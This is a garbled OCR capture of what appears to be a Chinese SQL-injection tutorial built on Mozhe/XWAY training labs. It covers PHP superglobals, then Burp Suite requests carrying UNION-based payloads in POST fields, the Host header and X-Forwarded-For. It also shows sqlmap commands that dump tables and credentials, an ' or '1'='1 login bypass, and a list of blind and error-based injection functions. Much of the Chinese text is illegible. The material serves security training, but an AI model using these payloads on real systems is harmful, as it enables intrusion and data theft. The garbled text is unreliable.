AT #REZetBZREERNGE, RENWPEEELER: RAXE, BEXHF.

$_getikEl get#i i



GETJ7 AR Hudle o X

1-#%3:index.php?userName=jack&password=123

2-ZR LA 5SHE L FRE T

3-ZHEATEMEH LG SRE

$_postik Bt post# i
1- R BN RV R b B S5  t, A VE R B R B

2- USRI R B S, BEX B TR E EEAR, JERUAAES, TUEZE

THEEIE R HPHPAR, A BT BRATE M H I 1 # ik

H test pipid |
1 e<?php W
2 |header ("Content-Type: text/html; charset=utf-8");
S
4 |Sget=$ GETI[' g ],//Tﬁxgetﬁ:lf{ﬁ’]’fﬁmt’fﬂ A
5 [$post=$ POST[ //{ﬁ:1p05tf§ﬂﬁﬁﬁﬁ§lﬁﬁ§éﬁgzﬁg
6 |$cookie=$ COOKIE 'c'];//$E5E cookiefkih MH H 45 22 &
7 |$request=$ REQUEST['r .'],//%“B%é, (F o) B RMEIRE S R B
8 |Shost=$ SERVER['HTTP HOST'];//3£32 15 M E¥8 S+ Mhost (ML A &
9 |$user agent=$ SERVER["HTTP USER AGENT"];//+&5Z U7 Ia) B 48 B it ) U 2518
10 [$ip=$_ SERVER["HTTP X FORWARDED FOR"];//$%35Zvjj o] %540 60 o (1 T p ¥ Wl 11 45 A8
[l
L7
13 |echo S$get."<hr>";
14 |echo Spost."<hr>";
TN [echo Scookie."<hr>";
16 |[echo Srequest."<hr>";
17 |echo Shost."<hr>";
18 |echo Suser agent."<hr>";
19 |echo S$ip; I
20
21
>

POSTE -8 3 #35 -SQLE N I 1 31l 1A (& R 58l ]
ISR RS, ROV LR FIPOSTEEA T sRAKHL — LSt &

RE R -POSTEAMAAG R —MEZRIE. BREURTREN

http://219.153.49.228:45744



SQLIE)\IFHID!J\JIT( 2% )

HESAERT 53%% : SQLEA
HEHE2E - 60 ( _Alﬂaj'gxf%”éu.iig} fer @ SQBEA MysSQL
HEEEED : 38 [EWE]

~ = § S0OLBASICS- UNION BASED ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS. EMCODING- HTML- EMCRYPTION- OTHER- XS&- LFl-
ad URL hrt-p,.f,n'2l‘3153 d9223d15r3,f

lit URL
ecute |
(] Postdata [] Referrer @K OxHEX M X %URL 3 & BASEG4 BB L o repl: J| sert replacing string| [ Replace All b 1%
» ACockies~ p S5~ [J=2- @BAR- QRAEE~ EEMNE- Fmo- SEH- XIR~ -E’-Eﬁ{tﬂ- _|LLA-
@ - Servicess | Checking http://219.153.40.228...
L

XWAY & Ft & F

M EEBATIT R I URL HBATE A BEMS Y, RERRTEETENN, ERFSCRMNUE, B nr L il 75
KAIEH), BATAT LB IR RS R B H A B A% 38

TEG, BATTUEREFNIRE, BTPOSTHIALIE T username « password BANSH, FIR P24 T &M R MR T



B! Burp Suite Professional v2020.2 - Temporary Project - licensed to surferxyz - m} X

Burp Project Intruder Repeater Window Help

[ Dashboard TTarget I Proxy }' Intruder TRepeatef T Sequencer I Decoder I Comparer ]' Extender }' Project options I User options ] r
1] b
Send Cancel <|v >\ Target: http://219.153.49.228:45744 / @

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex HTMLTRender]

HTTF/ 1.1 200 QK

Date: Sat, 03 Jul 2021 15:24:30 GHT
Server: Apaches/2.4.7 (Ubuntu)
¥-Powered-By: PHP/5.5.9-lubuntu4.l4
Vary: Accept-Encoding I
Content-Length: 79

Connsction: close

Content-Type: text/html; charset=utf-g8

1 POST /login.php HTTF/1l.1
Host: IZ19.153.459.22B8:45744
3 Content-Length: I9
Cache-Control: max-age=0
Origin: http://219.153.49.228:45744
Upgrade-Insecure-Requests: 1
7 DNT: 1
Content-Type: application/x-www—-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; xé4
AppleWebKit/537.36 (KHTML, like Gecko) Chromes/89.0.4389.82
Safari/537.3€
10 Agcept:
text/html, application/xhtml4xml, application/xml; q=0.9, imags/avi
£, image/ webp, imags/apng, */ *;q=0.8,application/signed-exchangs ;v
=h3;qgq=0.9
11 Referer: http://219.153.49.228:45744/
Aocept-Encoding: gzip, deflate
Accept-Language: zh-CM, zh:g=0.9

LD
D

s oW

o

<scriptralertc ('

!y s'window. location. href=document .referrer; </scripts> I

x-forwarded-for: 2.8.8.8 iy

¥—originating-ip: B8.8.8.8 8

®-remote-ip: B8.8.8.8 i
7 w-remote-addr: £.8.8.8

Connection: close H

ke L
¥ b

® < + > Type a search term 0 matches ® < + e

0 matches

Done 306 bytes [ 61 miliis -

WRIAIE username ZHEHHAIEANR? MEFBREE TSQLERABZELR, XUHARINEGEME * 851 S8 7 B8 Eh
17, FESQLIEANR.

W Burp Suite Professional v2020.2 - Temporary Project - licensed to surferxyz - O *

Burp Project Intruder Repeater Window Help

[ Dashboard TTargeL I Proxy T Intruder TRepeater T Sequencer I Decoder I Comparer I Extender T Project options I User options ]

1« | .
Send Cancel < |v > | Target: http://219.153.49.228:45744 /@

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render |
1 POST /login.php HTTF/1l.1 . HTTF/ 1.1 200 QK A
Z Host: I19.153.459.22B8:45744 r Date: Sat, 03 Jul 2021 15:29:57 GHT 1
3 Content-Length: 30 Server: Apache/2.4.7 (Ubuntu
4 Cache-Control: max-age=0 ¥-Powered-By: PHP/5.5.9-lubuntud.l4 H
S Origin: http://219.153.49.228:45744 Vary: Accept-Encoding
& Upgrade-Insecure-Requests: 1 Content-Length: 191
7 DNT: 1 Connection: close
2 Content-Type: application/x-www-form-urlencodsd Content-Type: text/html; charset=utf-8
S User-Agent: Mozilla/5.0 (Windews NT 10.0; Winéd: =E4) =
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 10) ik Ydeve an error in your S0L syntax; check the manual that corresponds
Safari/537.36& to your My3Q0L server wversion for the right syntax to use near
10 Accept: '21232f2597a57a5a7438%4a0=4a801€fc3 ' at line 1 B
text/html, application/xhtml+xml, application/xml;q=0.9, image/avi b
£, image/webp, image/apng, */ *; g=0.8, application/signed-sxchange;v
=h3;q=0.8
Referer: http://215.153.49.228:45744/
Aecepr-Encoding: gzip, deflatce
Aecepr-Language: zh-CH, zh;q=0.9
#—forwvarded-for: 5.8.8.8 I
5 ®¥-originating-ip: 8.8.8.8
H-remote-ip: B.8.8.8
H-remote-addr: B.85.8.8
Connection: close 1
| username=admin' &password=admin I I
k. .
¥ b

0 matches @ < + = 0 matches

=5

Done 418 hytes | 133 melis =




o IEiT order by 4 —+ [ ‘—+ ¥ FE o FSRERE ] 15 2151 5084

Burp Project Intruder Repeater Window Help

W Burp Suite Professional v2020.2 - Temporary Project - licensed to surferxyz

[ Dashboard ITarget I Proxy I Intruder IRepeatef T Sequencer I Decoder I Comparer I Extender I Project options I User options

1213 = | ...

Send Cancel < |v > |
— <vJ

1 Request

i J Raw T Params I Headers | Hex

Target: hitp:/1219.153.49.228:45744 7 ()

Response

J Raw T Headers | Hex | HTML I Render ]

T
Upgrade-Insecure-FRequests: 1

7 DNT: 1

Content-Type: application/x-www—form-urlencodsd
User-Agent: Mozilla/5.0 (Windows NT 10.0;
AppleWsbKit/537.36 (KHTHML, like Gecko)
Safari/537.38

10 Accept:

1

Referer: http://219.153.49.228:45744/
12 Accept-Encoding: gzip, deflate
Accept-Language: zh-CH, zh;qg=0.9
x-forwvarded-for: 5.8.8.8
15 ®-originating-ip: 8.8.8.8
16 ®x-remote-ip: 8.8.8.8
17 ®-remote-addr: 5.8.8.8
1% Connection: close

20 username=admin' order by 4 —-—+&passwvord=admin

Wing4;
Chroms/89.0.4389.82

xE4)

text/html, application/xhtml4xml, application/xml;q=0.9, image/avif, image
Jwebp, image/ apng, */ *;q=0.8,application/=signed-exchanges;v=b3;q=0.59

[k

+ =2

0 matches

close
text/html;

Connection:

2 Content-Type: charset=utf-8

<!DOCTYPE html>

115 <html lang="zh-CIN">

12[E <head>

1 <meta charset="UTF-5">

14 <meta http-equiv="¥-TA-Compatible" content="IE=edgs"
=

15 <meta name="viewport" content="width=device-width,
initial-scale=1">

16 <title>XWAYTHRH/citcle>

17  <€!--C55. JavaScriptfFifi-->

<link href="static/bootstrap.css" rel="stylesheest">

<link href="static/cover.css" rel="styleshest">

<script sre="static/Jjquery.js"=</script>

<script sro="static/bootstrap.js"s</script>

<!--(C55, JavaScriptiiii

23 </head> [k

@ (<] B EJ Type a search

0 matches

904 bytes | 37 millis

fie: I 1| Y

o ZRE[EE AL [153][B] 847 4]

T




W Burp Suite Professional v2020.2 - Temporary Project - licensed to surferxyz

Burp Project Intruder Repeater Window Help

[ Dashboard I Target I Proxy I Intruder I Repeater T Sequencer I Decoder I Comparer I Extender I Project options I User options

1213 = | ...

Send Cancel < |v > |

1 Request Response

Target: http://219.153.49.228:45744 7 ()

-_C Raw | Params | Headers | Hex

Raw | Headers | Hex HTMLIRende!]

- = T
& Upgrade-Insecure-Requests: 1 v |
7 DNT: 1
2 Content-Type: application/x-wwv—form-urlencodsd
o User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; =64
AppleWebKit/537.36 (KHTHML, like Gecko) Chroms/89.0.4389.82
Safari/537.3€

10 Accept:
text/html, application/xhtml4xml, application/xml;q=0.9, image/avif, image
Jwebp, image/ apng, */ *;q=0.8,application/=signed-exchanges;v=b3;q=0.59
Referer: http://219.153.49.228:45744/

12 Accept-Encoding: gzip, deflate
3 Aececept-Language: zh-CIM, zh:;qg=0.9

14 x-forwarded-for: 5.8.8.8

15 ®x-originating-ip: 8.8.8.8

¥-remote-ip: 8.8.8.8
Xx-remote-addr: 8.5.8.8
¢ Connection: close
J username=admin' and 1=2ZZ union select 1,2,3,4 —--+&password=admin |v
< + > pe a search 0 matches

PRI

RN T AMEETNLL (REIKEY 24 p

=
¥

873 bytes | 43 millis

o ifiTdatabase()rR FIREN Z BT $IE E 4 ‘purchase’

W Burp Suite Professional v2020.2 - Temporary Project - licensed to surferxyz

Burp Project Intruder Repeater Window Help

[ Dashboard I Target I Proxy I Intruder I Repeater T Sequencer I Decoder I Comparer I Extender I Project options I User options

1w (3= | ..

Send Cancel < |v > |

1 Request Response

Target: htp:1/219.153.49.228:45144 7 ()

-_C Raw | Params | Headers | Hex

Raw | Headers | Hex HTMLIRende!]

= T
7 DNT: 1 2
Content-Type: application/x-www—form-urlencodsd

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x€4)

AppleWebKit/537.36 (KHTHML, like Gecko) Chroms/89.0.4389.82

Safari/537.36

10 Accept:

text/html, application/xhtml4xml, application/xml;q=0.9, image/avif, image
Jwebp, image/ apng, */ *;q=0.8,application/=signed-exchanges;v=b3;q=0.59
Referer: http://219.153.49.228:45744/

Aoccept-Encoding: gzip, deflate

Accept-Language: zh-CH, zh;qg=0.9

x-forwvarded-for: 5.8.8.8

S ¥-originating-ip: 2.8.8.8

¥-remote-ip: 8.8.8.8

x-remote-addr: 5.8.8.8

12 Connection: close

username=acdmin' and 1=2ZZ union select 1,2,3)database|()
——+&passwvord=admin |v

o HEIER

0 matches

=1 i Av]

HNEREE T ARAIML, (REIKEY 2

purchase

=
v

Dane

880 bytes | 42 millis

e FJH information_schema 3K 4 ‘admin’




B! Burp Suite Professional v2020.2 - Temporary Project - licensed to surferxyz
Burp Project Intruder Repeater Window Help

[ Dashboard I Target I Proxy I Intruder I Repeater T Sequencer I Decoder I Comparer I Extender I Project options I User options

1 x| 3| ..

Send Cancel < |v > |

Request

Raw | Params | Headers | Hex

Target: htp://219.153.49.228:45144 7 (2) M

Response

Raw | Headers | Hex HTMLIRendef]

2 Content-Type: application/x-wwv—form-urlencodsd
o User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; =64
AppleWebKEit/537.36 (KHTHML, like Gecko) Chromes/S89.0.4389.82
Safari/537.36
10 Accept:
text/html, application/xhtml4xml, application/xml;q=0.9, image/avif, image
Jwebp, image/ apng, */ *;q=0.8,application/=signed-exchanges;v=b3;q=0.59
11 Referer: http://219.153.49.228:45744/
> Aeccept-Encoding: gzip, deflate
Accept-Language: zh-CH, zh;qg=0.9
x-forwvarded-for: 5.8.8.8
15 ®-originating-ip: 8.8.8.8
16 ®x-remote-ip: 8.8.8.8
17 ®-remote-addr: 5.8.8.8
12 Connection: close

2§ usernams=admin' and 1=222 union select 1,2,3,table naws from
information schema.tables where table schema ='purchase’

——+&passwvord=admin |v
@ < + > T 0 matches
Dane

- — | L

PRI

A= a7 AREETNL, (REIKEY Zadmin

877 bytes

o FKEadmin®& %4 id,username. password. thekey

W Burp Suite Professional v2020.2 - Temporary Project - licensed to surferxyz

Burp Project Intruder Repeater Window Help

[ Dashboard I Target ]' Proxy I Intruder I Repeater T Sequencer I Decoder I Comparer I Extender I Project options I User options

1= |3 = | .

Send Cancel < |v > |

Request

Raw | Params | Headers | Hex

Target: http://219.153.49.228:45144 ®

Response

Raw | Headers | Hex HTMLIRender]

2 Content-Type: application/x-www-form-urlencoded

S User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x&4)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/S89.0.4389.82
Safari/537.36

10 Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image

Jwebp, image/apng, */*:q=0.8, application/signed-exchange ;v=h3;q=0.9

Referer: http://219.153.49.228:45744/

Accept-Encoding: gzip, deflate

13 Acecept-Language: zh-CH, zh;qg=0.9

4 ®w—forwarded-for: §.8.8.8

5 x-originating-ip: 2.82.8.8

16 ®-remote—-ip: 8.8.8.8

17 w-remote-addr: 5.5.8.8

1% Connection: close

U0 username=acmin' and 1=222 union select 1,2,3,group_concat (column name)
from information schema.columns where table nams ='admin' |8
——+&password=acdmin h

0 matches

T ETEn

Done

=i inpavil
WE(REE T ARSI, (REIKEY =
id,username,password,thekey
v

899 bytes | 110 muilis



B! Burp Suite Professional v2020.2 - Temporary Project - licensed to surferxyz - O X

Burp Project Intruder Repeater Window Help

[ Dashboard TTarget I Proxy I Intruder I Repeater I Sequencer I Decoder I Comparer I Extender I Project options I User options
r?j: 3 x iiw ™

| Send | (<] Target: htp:1/219.153.49.228:45144 7 ()

Fra

Raw | Params I Headers I Hex ] [ Raw I Headers I Hex I HTML I Render ]

—T= = = ——T
7 DNT: 1 ] A
Z Content-Type: application/x-www-form-urlencodsd 4
S User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; =£4)

AppleWebKit/537.36 (KHTHML, like Gecko) Chroms/89.0.4389.82

Safari/537.36
10 Accept:
text/html, application/xhtml4xml, application/xml;gq=0.9, image/avif, images

-~
Jwebp, image/ apng, */ *;q=0.8,application/=signed-exchanges;v=b3;q=0.59 7& JEE '
11 Referer: http://219.153.49.228:45744/ E I_; ]-
2 Accept-Encoding: gzip, deflate
p ol eIy =
xft-.‘1fj\E§|KEYIE

3 Accept-Language: =zh-CHM, zh;qg=0.9 %—E—1$1%ij77—'{f;ﬂtﬁﬁﬂ\\ml
13 |x-originating-ip: B.8.6.0 | mozhe4f9ea3ebec4ad720fce803ecc40 B

x-forwvarded-for: 5.8.8.8
16 ®x-remote-ip: B2.8.

17 ®x-remote-addr: .
1% Connection: close =

m
m
(1]

2% username=admin' and 1=2Z22 union select 1,Z2,3,thekey from admin 8/
-—+&password=admin v

@ | =) 2] 2] [Tpea search tem 0 matches L

o

Done 04 bytes | 44 millis

== s L v aw LW - % e iy

python sqlmap.py -u "http://219.153.49.228:45744/1login.php" --data "username=admin&password=admin"

[
[
[
[
[WARN

]
]
]
]
]
I
]
]
]




Ldmind strator,

log.csdn.net

[

[*] ending

hon'\Pythons

o 3REX purchase $i3EE FHIE 4

python sglmap.py -u "http://219.153.49.228:45744/login.php" --data "username=admin&password=admin" --tables -D

"purchase"

ed to text files under

o JREX purchase H(#EE T admin K% 4


https://imgtu.com/i/RRcn3D

python sqglmap.py -u "http://219.153.49.228:45744/1ogin.php" --data "username=admin&password=admin" --columns -T

"admin" -D "purchase"

g admin in da

1t files under ’

[*+] ending

o JREL admin RS B [-dump v &N TEEERIAM, XBEUEABERER REHE TEM-SFERED))

python sqlmap.py -u "http://219.153.49.228:45744/1login.php" --data "username=admin&password=admin" --dump -C

"username, password,thekey" -T "admin" -D "purchase"

ed to text files under




Dz Python Python YVsgqlmap—masteripython sqlmap. py -r mozhe post_login. tzt

JE SRR #RAE A LA A —~data 977 AR

—BEOLT, B r A SHATHEAN . -r 07 IER R HSEHIT F B 8, -data BEATIE N BIBHR AN — %2 20 77 KK
AlakX, FANEXHESQLMAPKIBLUER, BHBHRM.

S HT— T T RE B AD H JR H
WIERTSCHIEEY, BATTUERE EEZMPIFHA I ESHEEN ‘username”. “password”

X BRATKAE BTSN %% B FHEIFSQLIEE] A $sql="select * from admin where username='$username' and

password="gpassword""
SR GERATRI A T BB IS ASQLIBR) £HUT, SRMAHIIYE?E T HX4SAL.

$sql="select * from admin where username='' or '1'='1' and password='$password'"

B SCRATA R BAIMWT 2 B FE RN R B NS BB HAF AN E R, AEXRKME, SQUIEFMERMERT

username = '' // &RAR
or '1' = '1' // RAH

B =K

ZRNEMBEOLT, SERBE 7 RIEKSEEX 2, XA REMEKRE. [A7 DN HERAE R 5 R SQLER)]


https://www.cnblogs.com/pass-A/p/11134988.html

XWAY ZAEE FR

admin' or "1'="1

SRR Ih!

=B T AERYNE (RAIKEY 2
mozhe4f9ea3ebec4ad720fce803ecc40

HTTPL#[HOSTREA

B 75 R X AR G E U B B HOS TR ASQLIE ), BT AR AT 1K payloadid A\ 75 i 44 48 EAHOS THI 77 SR 2 B«
ARANE: P15 T i — FHOSTHENAEFE 1 IR K 24 ? APHPE & A

B B 89 EF R ZRBUP 7 S [F AT & T8 5 thAa R0 R %

HTTP_CLIENT_IP: FFIEThttpiERiheader
HTTP_X_FORWARDED_FOR: &K KME, ZFFimIp, A#1IP, RE2IP......
HTTP_X_REAL_IP: XAMHBHED, HAWTE.

ERXIFIRIUPH Ty XA R4, BIAXIH I EIRBUKIIP R AT LA ORI A, SR A 25 i 2 6 A DA 37 77 R 3R EXIP A5 B )4
AN B S ECE HE R iE, A AT DA A SR AT AT T 1

a2 RIREUP ) 22 4 7 ¥R 272 P 7F R R AT LA REMOTE_ADDR BE#: M TCPHIREKIP, FEARN S hiE ! ER %
FHATE, FEE - REE ) IniERKAE RS HIKM REMOTE_ADDR )5, —HERETEAHRZEK.

2 37 -SQUE AN KR (HTTPLEA)



order by FER[FRZFIE A4
FIH database() &£ 3R B IE &

] Dashboard TTarget T Proxy TImmder w Sequencer ] Decoder l Comparer ] Extender [ Project options I User options IAuhz l Deserialization Scanner ]

]1xl2x@...

Send Cancel | [ < |¥ || >|¥

Request

1

Headers | Hex

CFET _JSflag wlo HTTE/] 1

§
8
10
11
12

Host: union select 1,database(), 3, 4
ser-Agent: Mozilla/b. U tWindows

Firefox/48.0

Accept: text/html, application/zhtml+xml, application/zml ;q=0.9, */# q=0. 8

Accept-Language: zh-CHN, zh; q=0. 8, en-US; q=0. 5, en; g=0. 3

Accept-Encoding: gzip, deflate

DNT: 1

X-Forwarded-For: 8.8.8.8

Connection: close

Upgrade-Insecure-Requests: 1

0.0; WOWG4, rv:4B.0) Gecko/20100101

e FIH information_schema KB E 4 [& Piflagk]

Target: http:/1219.163.49.228:42005  (2)

Response

[Raw | Headers | Hex | HTML | Render |

160 U1 e L B

- .]

HITP/1.1 200 OK

Server: nginxz

Date: Wed, 24 Feb 2021 13:16:07 GNT
Content=-Type: text/html:charset=utf-8
Comnection: close

X-Powered-By: Nrie

Content-Length: 934

9Bl <html lang="en"»
108 <head>

11
19
¥
13
14

15

<meta charset="UTF-8">
<titlerXWAVEHEE HL R LV, 0</titled
<Jdiv>

</body>

<Shuml >

168 <titler M Filt RATIEMH/itler ol J RINAFAENIBUE. HFHIA [ <font

color="red’ >union select 1,database(), 3, 4</font><br/>

R R flag TR 3 EMR ! <he /> <Por > A FURK SR, ROMIEI ! </br > <mar quee
style='WIDTH: 200px; HEIGHT: 30px’ secrollamount="2" direction='left” >
AL, BEF-RKKAET! | marquee > /> e AR FER S
ik - 1000< for> FE 204/ o f > 2 L or >4 % - 500. 0B999633TBO06< /br>
B T0</ bro><hr /> Sor> i Bk : 3¢ /b B : 4 br > <hr /<

178 <head>

1]

html lang="en">
A__a_ A____a-"™MmrE 0"\

T




q [ (5 o

Send | Cancel | [ < |v || >|¥
Request

Headers | Hex

Target: http://219.163.49.228:42906 @

Response

MHeaders Hex | HTML | Render |

GET /flag.php HITP/1. 1

Host: union select 1, table_name, 3, 4 from information schema. tables whers
table_schema='pentesterlab’

T User-Bgent: Mozilla/o.U Windows NI 10.0, WOWGE, tv:48. U) Gecko/oUIOUIOL
Firefox/48.0

4 Accept: text/html, application/zhtml+zml, application/zml;q=0. 9, */#; =0. 8
5 Accept-Language: zh-CN, zh, q=0. 8, en-US, q=0. 5, en; g=0. 3

G Accept-Encoding: gzip, deflate

7 DNT: 1

3 X-Forwarded-For: 8.8.8.8

9 Comnection: close

10 Upgrade-Insecure-Requests: 1

11

12

A # flag K54

I T T O O

oo

=]
108
11
13

14

=)
168

178

HITP/1.1 200 OK

Server: nginx

Date: Wed, 24 Feb 2021 13:16:40 GNT
Content=Type: text/html:charset=utf-g
Connection: close

X-Fowerad-By: Nrie

Content-Length: 1136

<html lang="en">

<head>

<meta charset="UTF-8">

<titleXWAVEHET B B EHV3. 0</title>

Hdiv>

</body>

<Shiml >

<titler @ FE R SEIEC/ titler MO FRIESSATIS M AR, FFHIA 1 <font

color="red »umion select 1,table_name, 3, 4 from

information schema. tables where table_schema='pentesterlab’ </font><br

ST T e Lag B3 IEAR ! | ! Che/>< x> 4 FK SRR, AWK ! </or><

marquee style=" WIDTH: 200px; HEIGHT: 30px’ scrollamount= 2’ direction=

"left’ MEGILH, RE—RIARET! | (/marquee ><r/>bro> @R

<;‘b1>ffr+{-§ 1000</br>$ & : 20</br><hr /> FR : BL< o> i 4 - 500. 0899963378906
. TOO’bD(mf)ﬁﬁ‘ comment </br >t : 3 e BUR 14 > e />

1.>f)TM 3 o> BE 44 by > /> B TR - goods< Sor > 2 3 < b
Tor > b/ > # F ruser<br > i 3¢ br > U 4<br><hr /><hitml lang="

en”>
<head>

] Dashboard l Target ] Proxy l Intruder w Sequencer ] Decoder | Comparer ] Extender [ Project options ] User options | Authz | Deserialization Scanner ]

1=|2=
Send | Cancel X >\ Target: http://219.163.49.228:42905 / @
Request Response
Headers | Hex Mﬂeaders Hex | HTML | Render |

1 GET /flag.php HITP/1.1

J Host: union select 1, columm_name, 3, 4 from information_schema. columns

where table_name= flag’

2 User-Bgent: Nozilla/5.0 (Windows NI 10.0. WOWGE, rv:48.0) Gecko/20L00101
Firefox/48.0

4 Accept: text/html, application/zhiml+xml, application/xml;q=0.9,*/#* g=0. 8
5 Accept-Language: zh-CN, zh:q=0. 8, en-US;q=0. 5, en:q=0. 3

G Accept-Encoding: gzip, deflate

TDNT: 1

3 X-Forwarded-For: 8.8.8.8

9 Connection: close

10 Upgrade-Insecure-Requests: 1

11

12

e

- T T L g

B

=]
108
11
19
13
14
15
1668

178

HITP/1.1 200 OK

Server: nginx

Date: Wed, 24 Feb 2021 13:17:11 GNT
Content-Type: text/html;charset=utf-§
Commection: close

X-Powered-By: NrYe

Content-Length: 1028

<html lang="en”>

<head>

<meta charset="UTF-8">

<tit1eXWAYRHEF I |46V, 00/ titled

<Jdiv>

<Sbody>

<fhml >

Ctitler MFH R IR eitled ALY MR AB M EAE, TFHIA [ font
color="red *union select 1, colum_name, 3, 4 from

information_schema. colums where table name=' flag' </font><br/>

W Fl 1 ag LT HEUEME ! <he /> <br> 4 LR B4R, BOMIEN! </br > <marquee
style= WIDTH: 200px; HEIGHT: 30px’ scrollamount="2" direction= left’ >
EadaHE, BE—RKKAZT! | Jmrquee >/ o B FER e
HrhE - 1000< or> B R 20< M or > <t /> B B BL< Sor > 41 4% 1 500. 0899963 3= br>
ﬁﬁ::T0<,-"1)1-2<‘t\1-f‘>?-FJRidGherHﬁ:3<Il)L->ftﬁ':tidbr‘/\’lu-b-ﬁﬁi tlagor>
1 3> BB 4 by </ ><hitnl lang="en">

<head>




o IREX flag 1H

Dashboard | Target T Proxy TImmder w Sequencer ] Decoder ] Comparer ] Extender I Project options I User options lAtlhz l Deserialization Scanner ]

1xl2>‘@,,.

Send Cancel | | < |¥ 2|
Request
Headers | Hex

1 GET /flag. php HITP/1.1

§ Host: union select 1, flag, 3,4 from fla

3 User-Agent: Nozilla/5.0 (Windows NT 10.0; WOWS4; rv:48.0) Gecko/20100101
Firefox/48.0

4 Accept: text/html, application/zhtml+xml, application/zml;q=0.9, */%;q=0. 8

5 Accept-Language: zh-CHN, zh;q=0. 8, en-US; q=0. 5, en; q=0. 3

6 Accept-Encoding: gzip, deflate

7 DNT: 1

3 X-Forwarded-For: 8.8.8.8

9 Connection: close

10 Upgrade-Insecure-Requests: 1

11

12

-

Target: hitp://219.163.49.228:42005 C

Response

H Headers | Hex | HTML | Render |

18 Ul e B

B8

HITP/L. 1 200 OK

Server: nginx

Date: Wed, 24 Feb 2021 13:17:24 GNT
Content-Type: text/html:charset=utf-8
Connection: close

X-Powered-By: NxrVe

Content-Length: 945

98 <html lang="en">
108 <head>

11
12
13
14

15

<meta charset="UTF-8">
<titleXXWAVRIELF I R4V3. 0</title>
<Jdiv>

< hody>

<Ml >

168 <titler BFMA MR/ 1itler Bl [ WA RSN BHE, A 1 font

color="red union select 1, flag, 3, 4 from flagd/font><br/>

ML) EFflag AT B UEMR ! ! </ > <For >4 E A g i, Wikl ! </for><marquee
style="IDTH: 200px; HEIGHT: 30px’ scrollamount="2’ direction="left’ >
HeEAeHE, RE-REAHEET! | Jmarquee >/ o AR FER >

{1 H 2 10004 /o> 3 s 1% :500. 0899963378906 /br>
BOR 70 br><he /> ¥ flag is mozheBSEEd26k /o> 4 ie 1 3¢ /or> B R 1 4</br><
b/ »<htnl lang="ert= £

17El Amnsd™s

RIE /R - AT LRI SQLMAP i) -r iy & R IUA L SE BB a, #TEAN.

XFFiE A [X-Forwarded-For]

3. @idEd X-Forwarded-for SkxF 4 A\ R ZiiidnsHEATsqE N, AT 75 2 W 3t () 50 98 22 P 28
B 2 # 37 -X-Forwarded-ForyE A\ 3% i 52 5 [SQLMAP— £ £ ]

http://219.153.49.228: 41107/index.php

o ZREFR, MNBEE NIMEBINERRTER, BATT LGN 77 RS &SR T EAIH X-Forwarded-For {58, X#t
RAFA R [FELFRMAZRS, BAMBRZN 2R EE RS HERDERNOEREL.



| Dashboard | Target | ] Intruder [ Repeater | Sequencer | Decoder | Comparer ' Extender | Project options | User options iJ»"\.uihz I Deserialization Scanner |

[1-]2-] - ol - |

Send | Target: http:/1219.153.49.228:41107 /(

JE] Params [ Headers [ Hex | JE} Headers l Hex .| Render |

1 POST /index. php HITP/1.1 r‘ 1 HITP/1.1 200 OK
Host: 219. 153, 49. 228:41107 | Date: Wed, 24 Feb 2021 13:30:18 GNT
3 User-Agent: Nozilla/5. 0 (Windows NT 10.0 64; rv:48.0) Gecko/20100101 | 3 Server: Apache/2 (Tbuntu
Firefox/48.0 | L X-Powered-By: PHP/S. 5. 9-1ubuntud. 14
i Accept: text/himl, application/zhtml+xml, application/xzml;q=0.9, */# g=0.8 | Varv: Accept-Encoding

Accept-Language: zh-CN, 0. 8, en-US;g=0. 5, en; g=0. 3 Content-Length: 137
5 Accept-Encoding: gzip, deflate T Comnection: close
DNT: 1 | Content-Type: text/html

3 Referer: http://219. 153. 49, 228
X-Forwarded-For: 8.8.8.8
1 Connection:
1 Upgrade-Insecure-Requests: 1
12 Content-Type: application/z-www-formurlencoded | 1
Content-Length: 29

41107 /index. php

REIP:8.8.8. B IRl ') Jwindow.

close |

username=adminfpassword



https://imgtu.com/i/RRIKv6

o RENF 4 A

Imappro ject—sqlmap—b039 thon sqlmap. py —-r xff. txt —column -T
{1. 4. 12. 30#dev}

without prior g g al. It is the end

deral 1: JE€ ers me i é ity a £ } 1

varcl

e

https://blog.csdn.net/weixin_42250835

o IREUK SHEM[AEHET ~dump dr 25, 3FERS]

kit ixt dump -C ™




421660’
admin’

Jlog.csdn.net

BEMERAEEALESD, KRR ARE R EAmTE. K, RAIHEEFH IR T ANERE 2R, XNMSERZAE
F. BAITUAMETES AU T2 REANANRETMYSQLE R, HAbREHEEEBRMAR, MR EHFYTFER]
FTF AR ISQLE IE - B 45 A b

regexp,like,ascii,left,ord,mid

FET (8] (I SQL T ¥ - ZE R 4 e

if,sleep

ETWMEESQLEE - B iR 4 B B

floor, updatexml, extractvalue


https://www.jianshu.com/p/bc35f8dd4f7c

2%

like 'ro%' ##Wiroskro. . . RE ML
select * from table_name where column_name like 'admin'; --# FEWILE, RILE admin MEHSER

regexp 'admin' #[ILEZ admin & admin... %

selct * from table_name where column_name like 'admin'; --# BOWIILES, ILECAER admin MEHSER
sleep(5) #SQLIE A E R $AT5H
select * from table_name where id = 1 and sleep(5); --# IRERSHS

if(ME, E3R1,4H2) #%MROL BEIGRL Rz RELHE2
select * from table_name where id = 1 if(1>2,sleep(2),sleep(5)); --# HkikiE, #1>2 FMERL, HKIRSH; Rz, KiR2
.

mid(a,b,c) #MALE DG, BElaF R & KchL
Hsubstr#i{l
substr(a,b,c) #MPLEbFF G, BEFERFFRafickKE

select * from users where id = 1 and substr(database(),1,1)="x"; --#A\BIBELE R, WELT 'x', W
i user F id = 1 REIEHER,; MEFBBEEIRRELER.

left(%Mh,1) #left(a,b) NEMEREalIBTbAL
select * from users where id = 1 and left(database(),1)='s"; --# NBURELEMFFHERIEE—46L, WREFTF 's', WK
EISQLIATAR; k2, .

length(database())=5 ##¥i%#EFEdatabase()ZHKE
select * from users where id = 1 and length(database())=5; --# HAWBEELKERTETS WRETHREIEHANER

